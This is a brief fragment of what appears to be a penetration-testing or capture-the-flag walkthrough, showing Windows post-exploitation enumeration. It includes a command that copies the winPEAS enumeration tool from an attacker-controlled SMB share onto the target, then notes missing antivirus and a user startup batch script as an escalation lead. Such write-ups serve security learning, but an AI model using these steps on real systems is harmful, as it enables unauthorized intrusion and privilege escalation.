PEAS
ps c:\tmp> copy \\10.10.14.11\smb\winPEASany.exe . Delivery over SMB
Executing PEAS
There is no AV installed. I don’t know how PEAS does this because I was unable to enumerate the AV info manually.
There is a startup Batch script for the current user